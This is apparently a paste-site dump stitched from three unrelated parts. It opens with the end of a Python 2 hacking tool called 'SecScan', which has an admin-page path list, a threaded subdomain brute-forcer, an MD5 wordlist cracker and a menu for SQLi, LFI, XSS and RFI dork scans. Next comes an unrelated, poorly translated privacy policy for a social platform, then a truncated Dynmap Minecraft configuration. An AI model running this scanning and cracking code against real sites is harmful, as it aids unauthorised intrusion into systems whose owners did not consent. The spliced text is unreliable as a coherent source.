'panel-administracion/login.php', 'wp-login.php', 'wp-admin', 'typo3', 'adminLogin.php', 'admin/adminLogin.php', 'home.php','adminarea/index.php' ,'adminarea/admin.php' ,'adminarea/login.php', 'panel-administracion/index.php', 'panel-administracion/admin.php', 'modelsearch/index.php', 'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php', 'admin2.php', 'admin2/login.php', 'admin2/index.php', 'adm/index.php', 'adm.php', 'affiliate.php','admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/'] for add in dirs: test = site + add queue.put(test) for i in range(20): thread = Atest(queue) thread.setDaemon(True) thread.start() queue.join() def aprint(): """Print results of admin page scans""" print 'Search Finished\n' if len(found) == 0: print 'No pages found' else: for site in found: print O+'Found: ' + G+site + W class SDtest(threading.Thread): """Checks given Domain for Sub Domains""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Sub Domain responds""" while True: try: domain = self.queue.get(False) except Queue.Empty: break try: site = 'http://' + domain conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) except urllib2.URLError: self.queue.task_done() else: target = socket.gethostbyname(domain) print 'Found: ' + site + ' - ' + target self.queue.task_done() def subd(): """Create queue and threads for sub domain scans""" queue = Queue.Queue() site = raw_input('Domain: ') sub = ["admin", "access", "accounting", "accounts", "admin", "administrator", "aix", "ap", "archivos", "aula", "aulas", "ayuda", "backup", "backups", "bart", "bd", "beta", "biblioteca", "billing", "blackboard", "blog", "blogs", "bsd", "cart", "catalog", "catalogo", "catalogue", "chat", "chimera", "citrix", "classroom", "clientes", "clients", "carro", "connect", "controller", "correoweb", "cpanel", "csg", "customers", "db", "dbs", "demo", "demon", "demostration", "descargas", "developers", "development", "diana", "directory", "dmz", "domain", "domaincontroller", "download", "downloads", "ds", "eaccess", "ejemplo", "ejemplos", "email", "enrutador", "example", "examples", "exchange", "eventos", "events", "extranet", "files", "finance", "firewall", "foro", "foros", "forum", "forums", "ftp", "ftpd", "fw", "galeria", "gallery", "gateway", "gilford", "groups", "groupwise", "guia", "guide", "gw", "help", "helpdesk", "hera", "heracles", "hercules", "home", "homer", "hotspot", "hypernova", "images", "imap", "imap3", "imap3d", "imapd", "imaps", "imgs", "imogen", "inmuebles", "internal", "intranet", "ipsec", "irc", "ircd", "jabber", "laboratorio", "lab", "laboratories", "labs", "library", "linux", "lisa", "login", "logs", "mail", "mailgate", "manager", "marketing", "members", "mercury", "meta", "meta01", "meta02", "meta03", "miembros", "minerva", "mob", "mobile", "moodle", "movil", "mssql", "mx", "mx0", "mx1", "mx2", "mx3", "mysql", "nelson", "neon", "netmail", "news", "novell", "ns", "ns0", "ns1", "ns2", "ns3", "online", "oracle", "owa", "partners", "pcanywhere", "pegasus", "pendrell", "personal", "photo", "photos", "pop", "pop3", "portal", "postman", "postmaster", "private", "proxy", "prueba", "pruebas", "public", "ras", "remote", "reports", "research", "restricted", "robinhood", "router", "rtr", "sales", "sample", "samples", "sandbox", "search", "secure", "seguro", "server", "services", "servicios", "servidor", "shop", "shopping", "smtp", "socios", "soporte", "squirrel", "squirrelmail", "ssh", "staff", "sms", "solaris", "sql", "stats", "sun", "support", "test", "tftp", "tienda", "unix", "upload", "uploads", "ventas", "virtual", "vista", "vnc", "vpn", "vpn1", "vpn2", "vpn3", "wap", "web1", "web2", "web3", "webct", "webadmin", "webmail", "webmaster", "win", "windows", "www", "ww0", "ww1", "ww2", "ww3", "www0", "www1", "www2", "www3", "xanthus", "zeus"] for check in sub: test = check + '.' + site queue.put(test) for i in range(20): thread = SDtest(queue) thread.setDaemon(True) thread.start() queue.join() class Cracker(threading.Thread): """Use a wordlist to try and brute the hash""" def __init__(self, queue, hashm): threading.Thread.__init__(self) self.queue = queue self.hashm = hashm def run(self): """Hash word and check against hash""" while True: try: word = self.queue.get(False) except Queue.Empty: break tmp = hashlib.md5(word).hexdigest() if tmp == self.hashm: self.result(word) self.queue.task_done() def result(self, words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()
yqmark / AgreementPrivacy Policy introduction We understand the importance of personal information to you and will do our utmost to protect your personal information. We are committed to maintaining your trust in us and to abide by the following principles to protect your personal information: the principle of consistency of rights and responsibilities, the principle of purpose , choose the principle of consent, at least the principle of sufficient use, ensure the principle of security, the principle of subject participation, the principle of openness and transparency, and so on. At the same time, we promise that we will take appropriate security measures to protect your personal information according to the industry's mature security solutions. In view of this, we have formulated this "Private Privacy Policy" (hereinafter referred to as "this policy" /This Privacy Policy") and remind you: This policy applies to products or services on this platform. If the products or services provided by the platform are used in the products or services of our affiliates (for example, using the platform account directly) but there is no independent privacy policy, this policy also applies to the products or services. It is important to note that this policy does not apply to other third-party services provided by you, nor to products or services on this platform that have been independently set up with a privacy policy. Before using the products or services on this platform, please read and understand this policy carefully, and use the related products or services after confirming that you fully understand and agree. By using the products or services on this platform, you understand and agree to this policy. If you have any questions, comments or suggestions about the content of this policy, you can contact us through various contact methods provided by this platform. This privacy policy section will help you understand the following: How we collect and use your personal information How do we use cookies and similar technologies? How do we share, transfer, and publicly disclose your personal information? How we protect your personal information How do you manage your personal information? How do we deal with the personal information of minors? How your personal information is transferred globally How to update this privacy policy How to contact us 一、How we collect and use your personal information Personal information refers to various information recorded electronically or otherwise that can identify a specific natural person or reflect the activities of a particular natural person, either alone or in combination with other information. We collect and use your information for the purposes described in this policy. Personal information: (一)Help you become our user To create an account so that we can serve you, you will need to provide the following information: your nickname, avatar, gender, date of birth, mobile number/signal/QQ number, and create a username and password. During the registration process, if you provide the following additional information to supplement your personal information, it will help us to provide you with better service and experience: your real name, real ID information, hometown, emotional status, constellation, occupation, school Your real avatar. However, if you do not provide this information, it will not affect the basic functions of using the platform products or services. The above information provided by you will continue to authorize us during your use of the Service. When you voluntarily cancel your account, we will make it anonymous or delete your personal information as soon as possible in accordance with applicable laws and regulations. (二)Show and push goods or services for you In order to improve our products or services and provide you with personalized information search and transaction services, we will extract your browsing, search preferences, behavioral habits based on your browsing and search history, device information, location information, and transaction information. Features such as location information, indirect crowd portraits based on feature tags, and display and push information. If you do not want to accept commercials that we send to you, you can cancel them at any time through the product unsubscribe feature. (三)Provide goods or services to you 1、Information you provide to us Relevant personal information that you provide to us when registering for an account or using our services, such as phone numbers, emails, bank card numbers or Alipay accounts; The shared information that you provide to other parties through our services and the information that you store when you use our services. Before providing the platform with the aforementioned personal information of the other party, you need to ensure that you have obtained your authorization. 2、Information we collect during your use of the service In order to provide you with page display and search results that better suit your needs, understand product suitability, and identify account anomalies, we collect and correlate information about the services you use and how they are used, including: Device Information: We will receive and record information about the device you are using (such as device model, operating system version, device settings, unique device identifier, etc.) based on the specific permissions you have granted during software installation and use. Information about the location of the device (such as Idiv address, GdivS location, and Wi-Fi that can provide relevant information) Sensor information such as access points, Bluetooth and base stations. Since the services we provide are based on the mobile social services provided by the geographic location, you confirm that the successful registration of the "this platform" account is deemed to confirm the authorization to extract, disclose and use your geographic location information. . If you need to terminate your location information to other users, you can set it to be invisible at any time. Log information: When you use our website or the products or services provided by the client, we will automatically collect your detailed usage of our services as a related web log. For example, your search query content, Idiv address, browser type, telecom carrier, language used, date and time of access, and web page history you visit. Please note that separate device information, log information, etc. are information that does not identify a particular natural person. If we combine such non-personal information with other information to identify a particular natural person or use it in conjunction with personal information, such non-personal information will be treated as personal information during the combined use, except for your authorization. Or as otherwise provided by laws and regulations, we will anonymize and de-identify such personal information. When you contact us, we may save information such as your communication/call history and content or the contact information you left in order to contact you or help you solve the problem or to document the resolution and results of the problem. 3、Your personal information collected through indirect access You can use the products or services provided by our affiliates through the link of the platform provided by our platform account. In order to facilitate our one-stop service based on the linked accounts and facilitate your unified management, we will show you on this platform. Information or recommendations for information you are interested in, including information from live broadcasts and games. You can discover and use the above services through the homepage of the platform, "More" and other functions. When you use the above services through our products or services, you authorize us to receive, aggregate, and analyze from our affiliates based on actual business and cooperation needs, we confirm that their source is legal or that you authorize to consent to your personal information provided to us or Trading Information. If you refuse to provide the above information or refuse to authorize, you may not be able to use the corresponding products or services of our affiliates, or can not display relevant information, but does not affect the use of the platform to browse, chat, release dynamics and other core services. (四)Provide you with security Please note that in order to ensure the authenticity of the user's identity and provide you with better security, you can provide us with identification information such as identity card, military officer's card, passport, driver's license, social security card, residence permit, facial identification, and other biometric information. Personally sensitive information such as Sesame Credit and other real-name certifications. If you refuse to provide the above information, you may not be able to use services such as account management, live broadcast, and continuing risky transactions, but it will not affect your use of browsing, chat and other services. To improve the security of your services provided by us and our affiliates and partners, protect the personal and property of you or other users or the public from being compromised, and better prevent phishing websites, fraud, network vulnerabilities, computer viruses, cyber attacks , security risks such as network intrusion, more accurately identify violations of laws and regulations or the relevant rules of the platform, we may use or integrate your user information, transaction information, equipment information, related web logs and our affiliates, partners to obtain You authorize or rely on the information shared by law to comprehensively judge your account and transaction risks, conduct identity verification, detect and prevent security incidents, and take necessary records, audits, analysis, and disposal measures in accordance with the law. (五)Other uses When we use the information for other purposes not covered by this policy, or if the information collected for a specific purpose is used for other purposes, you will be asked for your prior consent. (六)Exception for authorization of consent According to relevant laws and regulations, collecting your personal information in the following situations does not require your authorized consent: 1、Related to national security and national defense security; 2、Related to public safety, public health, and major public interests; 3、Related to criminal investigation, prosecution, trial and execution of judgments, etc.; 4、It is difficult to obtain your own consent for the maintenance of the important legal rights of the personal information or other individuals’ lives and property; 5、The personal information collected is disclosed to the public by yourself; 二、How do we use cookies and similar technologies? (一)Cookies To ensure that your site is up and running, to give you an easier access experience, and to recommend content that may be of interest to you, we store a small data file called a cookie on your computer or mobile device. Cookies usually contain an identifier, a site name, and some numbers and characters. With cookies, websites can store data such as your preferences. (二)Website Beacons and Pixel Labels In addition to cookies, we use other technologies like web beacons and pixel tags on our website. For example, the email we send to you may contain an address link to the content of our website. If you click on the link, we will track the click to help us understand your product or service preferences so that we can proactively improve customer service. Experience. A web beacon is usually a transparent image that is embedded in a website or email. With the pixel tags in the email, we can tell if the email is open. If you don't want your event to be tracked this way, you can unsubscribe from our mailing list at any time. 三、How do we share, transfer, and publicly disclose your personal information? (一)shared We do not share your personal information with companies, organizations, and individuals other than the platform's service providers, with the following exceptions: 1、Sharing with explicit consent: We will share your personal information with others after obtaining your explicit consent. 2、Sharing under statutory circumstances: We may share your personal information in accordance with laws and regulations, litigation dispute resolution needs, or in accordance with the requirements of the administrative and judicial authorities. 3. Sharing with affiliates: In order to facilitate our services to you based on linked accounts, we recommend information that may be of interest to you or protect the personal property of affiliates or other users or the public of this platform from being infringed. Personal information may be shared with our affiliates. We will only share the necessary personal information (for example, to facilitate the use of our affiliated company products or services, we will share your necessary account information with affiliates) if we share your personal sensitive information or affiliate changes The use of personal information and the purpose of processing will be re-examined for your authorization. 4. Sharing with Authorized Partners: For the purposes stated in this Privacy Policy, some of our services will be provided by us and our authorized partners. We may share some of your personal information with our partners to provide better customer service and user experience. For example, arrange a partner to provide services. We will only share your personal information for legitimate, legitimate, necessary, specific, and specific purposes, and will only share the personal information necessary to provide the service. Our partners are not authorized to use shared personal information for other purposes unrelated to the product or service. Currently, our authorized partners include the following types: (2) Suppliers, service providers and other partners. We send information to suppliers, service providers and other partners who support our business, including providing technical infrastructure services, analyzing how our services are used, measuring the effectiveness of advertising and services, providing customer service, and facilitating payments. Or conduct academic research and investigations. (1) Authorized partners in advertising and analytics services. We will not use your personally identifiable information (information that identifies you, such as your name or email address, which can be used to contact you or identify you) and provide advertising and analytics services, unless you have your permission. Shared by partners. We will provide these partners with information about their advertising coverage and effectiveness, without providing your personally identifiable information, or we may aggregate this information so that it does not identify you personally. For example, we’ll only tell advertisers how effective their ads are when they agree to comply with our advertising guidelines, or how many people see their ads or install apps after seeing ads, or work with them. Partners provide statistical information that does not identify individuals (eg “male, 25-29 years old, in Beijing”) to help them understand their audience or customers. For companies, organizations and individuals with whom we share personal information, we will enter into strict data protection agreements with them to process individuals in accordance with our instructions, this Privacy Policy and any other relevant confidentiality and security measures. information. (2) Transfer We do not transfer your personal information to any company, organization or individual, except: Transfer with the express consent: After obtaining your explicit consent, we will transfer your personal information to other parties; 2, in the case of mergers, acquisitions or bankruptcy liquidation, or other circumstances involving mergers, acquisitions or bankruptcy liquidation, if it involves the transfer of personal information, we will require new companies and organizations that hold your personal information to continue to receive This policy is bound, otherwise we will ask the company, organization and individual to re-seek your consent. (3) Public disclosure We will only publicly disclose your personal information in the following circumstances: We may publicly disclose your personal information by obtaining your explicit consent or based on your active choice; 2, if we determine that you have violated laws and regulations or serious violations of the relevant rules of the platform, or to protect the personal safety of the platform and its affiliates users or the public from infringement, we may be based on laws and regulations or The relevant agreement rules of this platform disclose your personal information, including related violations, and the measures that the platform has taken against you, with your consent. (4) Exceptions for prior authorization of consent when sharing, transferring, and publicly disclosing personal information In the following situations, sharing, transferring, and publicly disclosing your personal information does not require prior authorization from you: Related to national security and national defense security; Related to public safety, public health, and major public interests; 3, related to criminal investigation, prosecution, trial and judgment execution; 4, in order to protect your or other individuals' life, property and other important legal rights but it is difficult to get my consent; Personal information that you disclose to the public on your own; Collect personal information from legally publicly disclosed information, such as legal news reports and government information disclosure. According to the law, sharing, transferring and de-identifying personal information, and ensuring that the data recipient cannot recover and re-identify the personal information subject, does not belong to the external sharing, transfer and public disclosure of personal information. The preservation and processing of the class data will not require additional notice and your consent. How do we protect your personal information? (1) We have taken reasonable and feasible security measures in accordance with the industry's general solutions to protect the security of personal information provided by you, and to prevent unauthorized access, public disclosure, use, modification, damage or loss of personal information. For example, SSL (Secure Socket) when exchanging data (such as credit card information) between your browser and the server Layer) protocol encryption protection; we use encryption technology to improve the security of personal information; we use a trusted protection mechanism to prevent personal information from being maliciously attacked; we will deploy access control mechanisms to ensure that only authorized personnel can access individuals Information; and we will conduct security and privacy protection training courses to enhance employees' awareness of the importance of protecting personal information. (2) We have advanced data security management system around the data life cycle, which enhances the security of the whole system from organizational construction, system design, personnel management, product technology and other aspects. (3) We will take reasonable and feasible measures and try our best to avoid collecting irrelevant personal information. We will only retain your personal information for the period of time required to achieve the purposes stated in this policy, unless the retention period is extended or permitted by law. (4) The Internet is not an absolutely secure environment. We strongly recommend that you do not use personal communication methods that are not recommended by this platform. You can connect and share with each other through our services. When you create communications, transactions, or sharing through our services, you can choose who you want to communicate, trade, or share as a third party who can see your trading content, contact information, exchange information, or share content. If you find that your personal information, especially your account or password, has been leaked, please contact our customer service immediately so that we can take appropriate measures according to your application. Please note that the information you voluntarily share or even share publicly when using our services may involve personal information of you or others or even sensitive personal information, such as when you post a news or choose to upload in public in group chats, circles, etc. A picture containing personal information. Please consider more carefully whether you share or even share information publicly when using our services. Please use complex passwords to help us keep your account secure. We will do our best to protect the security of any information you send us. At the same time, we will report the handling of personal information security incidents in accordance with the requirements of the regulatory authorities. V. How your personal information is transferred globally Personal information collected and generated by us during our operations in the People's Republic of China is stored in China, with the following exceptions: Laws and regulations have clear provisions; 2, get your explicit authorization; 3, you through the Internet for cross-border live broadcast / release dynamics and other personal initiatives. In response to the above, we will ensure that your personal information is adequately protected in accordance with this Privacy Policy.
Nixy1234 / Dfdfd# All paths in this configuration file are relative to Dynmap's data-folder: minecraft_server/dynmap/ # All map templates are defined in the templates directory # To use the HDMap very-low-res (2 ppb) map templates as world defaults, set value to vlowres # The definitions of these templates are in normal-vlowres.txt, nether-vlowres.txt, and the_end-vlowres.txt # To use the HDMap low-res (4 ppb) map templates as world defaults, set value to lowres # The definitions of these templates are in normal-lowres.txt, nether-lowres.txt, and the_end-lowres.txt # To use the HDMap hi-res (16 ppb) map templates (these can take a VERY long time for initial fullrender), set value to hires # The definitions of these templates are in normal-hires.txt, nether-hires.txt, and the_end-hires.txt # To use the HDMap low-res (4 ppb) map templates, with support for boosting resolution selectively to hi-res (16 ppb), set value to low_boost_hi # The definitions of these templates are in normal-low_boost_hi.txt, nether-low_boost_hi.txt, and the_end-low_boost_hi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to vhi-res (32 ppb), set value to hi_boost_vhi # The definitions of these templates are in normal-hi_boost_vhi.txt, nether-hi_boost_vhi.txt, and the_end-hi_boost_vhi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to xhi-res (64 ppb), set value to hi_boost_xhi # The definitions of these templates are in normal-hi_boost_xhi.txt, nether-hi_boost_xhi.txt, and the_end-hi_boost_xhi.txt deftemplatesuffix: lowres # Map storage scheme: only uncommoent one 'type' value # filetree: classic and default scheme: tree of files, with all map data under the directory indicated by 'tilespath' setting # sqlite: single SQLite database file (this can get VERY BIG), located at 'dbfile' setting (default is file dynmap.db in data directory) # mysql: MySQL database, at hostname:port in database, accessed via userid with password # mariadb: MariaDB database, at hostname:port in database, accessed via userid with password # postgres: PostgreSQL database, at hostname:port in database, accessed via userid with password storage: # Filetree storage (standard tree of image files for maps) type: filetree # SQLite db for map storage (uses dbfile as storage location) #type: sqlite #dbfile: dynmap.db # MySQL DB for map storage (at 'hostname':'port' in database 'database' using user 'userid' password 'password' and table prefix 'prefix' #type: mysql #hostname: localhost #port: 3306 #database: dynmap #userid: dynmap #password: dynmap #prefix: "" components: - class: org.dynmap.ClientConfigurationComponent - class: org.dynmap.InternalClientUpdateComponent sendhealth: true sendposition: true allowwebchat: true webchat-interval: 5 hidewebchatip: false trustclientname: false includehiddenplayers: false # (optional) if true, color codes in player display names are used use-name-colors: false # (optional) if true, player login IDs will be used for web chat when their IPs match use-player-login-ip: true # (optional) if use-player-login-ip is true, setting this to true will cause chat messages not matching a known player IP to be ignored require-player-login-ip: false # (optional) block player login IDs that are banned from chatting block-banned-player-chat: true # Require login for web-to-server chat (requires login-enabled: true) webchat-requires-login: false # If set to true, users must have dynmap.webchat permission in order to chat webchat-permissions: false # Limit length of single chat messages chatlengthlimit: 256 # # Optional - make players hidden when they are inside/underground/in shadows (#=light level: 0=full shadow,15=sky) # hideifshadow: 4 # # Optional - make player hidden when they are under cover (#=sky light level,0=underground,15=open to sky) # hideifundercover: 14 # # (Optional) if true, players that are crouching/sneaking will be hidden hideifsneaking: false # If true, player positions/status is protected (login with ID with dynmap.playermarkers.seeall permission required for info other than self) protected-player-info: false # If true, hide players with invisibility potion effects active hide-if-invisiblity-potion: true # If true, player names are not shown on map, chat, list hidenames: false #- class: org.dynmap.JsonFileClientUpdateComponent # writeinterval: 1 # sendhealth: true # sendposition: true # allowwebchat: true # webchat-interval: 5 # hidewebchatip: false # includehiddenplayers: false # use-name-colors: false # use-player-login-ip: false # require-player-login-ip: false # block-banned-player-chat: true # hideifshadow: 0 # hideifundercover: 0 # hideifsneaking: false # # Require login for web-to-server chat (requires login-enabled: true) # webchat-requires-login: false # # If set to true, users must have dynmap.webchat permission in order to chat # webchat-permissions: false # # Limit length of single chat messages # chatlengthlimit: 256 # hide-if-invisiblity-potion: true # hidenames: false - class: org.dynmap.SimpleWebChatComponent allowchat: true # If true, web UI users can supply name for chat using 'playername' URL parameter. 'trustclientname' must also be set true. allowurlname: false # Note: this component is needed for the dmarker commands, and for the Marker API to be available to other plugins - class: org.dynmap.MarkersComponent type: markers showlabel: false enablesigns: false # Default marker set for sign markers default-sign-set: markers # (optional) add spawn point markers to standard marker layer showspawn: true spawnicon: world spawnlabel: "Spawn" # (optional) layer for showing offline player's positions (for 'maxofflinetime' minutes after logoff) showofflineplayers: false offlinelabel: "Offline" offlineicon: offlineuser offlinehidebydefault: true offlineminzoom: 0 maxofflinetime: 30 # (optional) layer for showing player's spawn beds showspawnbeds: false spawnbedlabel: "Spawn Beds" spawnbedicon: bed spawnbedhidebydefault: true spawnbedminzoom: 0 spawnbedformat: "%name%'s bed" # (optional) Show world border (vanilla 1.8+) showworldborder: true worldborderlabel: "Border" - class: org.dynmap.ClientComponent type: chat allowurlname: false - class: org.dynmap.ClientComponent type: chatballoon focuschatballoons: false - class: org.dynmap.ClientComponent type: chatbox showplayerfaces: true messagettl: 5 # Optional: set number of lines in scrollable message history: if set, messagettl is not used to age out messages #scrollback: 100 # Optional: set maximum number of lines visible for chatbox #visiblelines: 10 # Optional: send push button sendbutton: false - class: org.dynmap.ClientComponent type: playermarkers showplayerfaces: true showplayerhealth: true # If true, show player body too (only valid if showplayerfaces=true showplayerbody: false # Option to make player faces small - don't use with showplayerhealth smallplayerfaces: false # Optional - make player faces layer hidden by default hidebydefault: false # Optional - ordering priority in layer menu (low goes before high - default is 0) layerprio: 0 # Optional - label for player marker layer (default is 'Players') label: "Players" #- class: org.dynmap.ClientComponent # type: digitalclock - class: org.dynmap.ClientComponent type: link - class: org.dynmap.ClientComponent type: timeofdayclock showdigitalclock: true #showweather: true # Mouse pointer world coordinate display - class: org.dynmap.ClientComponent type: coord label: "Location" hidey: false show-mcr: false show-chunk: false # Note: more than one logo component can be defined #- class: org.dynmap.ClientComponent # type: logo # text: "Dynmap" # #logourl: "images/block_surface.png" # linkurl: "http://forums.bukkit.org/threads/dynmap.489/" # # Valid positions: top-left, top-right, bottom-left, bottom-right # position: bottom-right #- class: org.dynmap.ClientComponent # type: inactive # timeout: 1800 # in seconds (1800 seconds = 30 minutes) # redirecturl: inactive.html # #showmessage: 'You were inactive for too long.' #- class: org.dynmap.TestComponent # stuff: "This is some configuration-value" # Treat hiddenplayers.txt as a whitelist for players to be shown on the map? (Default false) display-whitelist: false # How often a tile gets rendered (in seconds). renderinterval: 1 # How many tiles on update queue before accelerate render interval renderacceleratethreshold: 60 # How often to render tiles when backlog is above renderacceleratethreshold renderaccelerateinterval: 0.2 # How many update tiles to work on at once (if not defined, default is 1/2 the number of cores) tiles-rendered-at-once: 2 # If true, use normal priority threads for rendering (versus low priority) - this can keep rendering # from starving on busy Windows boxes (Linux JVMs pretty much ignore thread priority), but may result # in more competition for CPU resources with other processes usenormalthreadpriority: true # Save and restore pending tile renders - prevents their loss on server shutdown or /reload saverestorepending: true # Save period for pending jobs (in seconds): periodic saving for crash recovery of jobs save-pending-period: 900 # Zoom-out tile update period - how often to scan for and process tile updates into zoom-out tiles (in seconds) zoomoutperiod: 30 # Control whether zoom out tiles are validated on startup (can be needed if zoomout processing is interrupted, but can be expensive on large maps) initial-zoomout-validate: true # Default delay on processing of updated tiles, in seconds. This can reduce potentially expensive re-rendering # of frequently updated tiles (such as due to machines, pistons, quarries or other automation). Values can # also be set on individual worlds and individual maps. tileupdatedelay: 30 # Tile hashing is used to minimize tile file updates when no changes have occurred - set to false to disable enabletilehash: true # Optional - hide ores: render as normal stone (so that they aren't revealed by maps) #hideores: true # Optional - enabled BetterGrass style rendering of grass and snow block sides #better-grass: true # Optional - enable smooth lighting by default on all maps supporting it (can be set per map as lighting option) smooth-lighting: true # Optional - use world provider lighting table (good for custom worlds with custom lighting curves, like nether) # false=classic Dynmap lighting curve use-brightness-table: true # Optional - render specific block names using the textures and models of another block name: can be used to hide/disguise specific # blocks (e.g. make ores look like stone, hide chests) or to provide simple support for rendering unsupported custom blocks block-alias: # "minecraft:quartz_ore": "stone" # "diamond_ore": "coal_ore" # Default image format for HDMaps (png, jpg, jpg-q75, jpg-q80, jpg-q85, jpg-q90, jpg-q95, jpg-q100, webp, webp-q75, webp-q80, webp-q85, webp-q90, webp-q95, webp-q100), # Note: any webp format requires the presence of the 'webp command line tools' (cwebp, dwebp) (https://developers.google.com/speed/webp/download) # # Has no effect on maps with explicit format settings 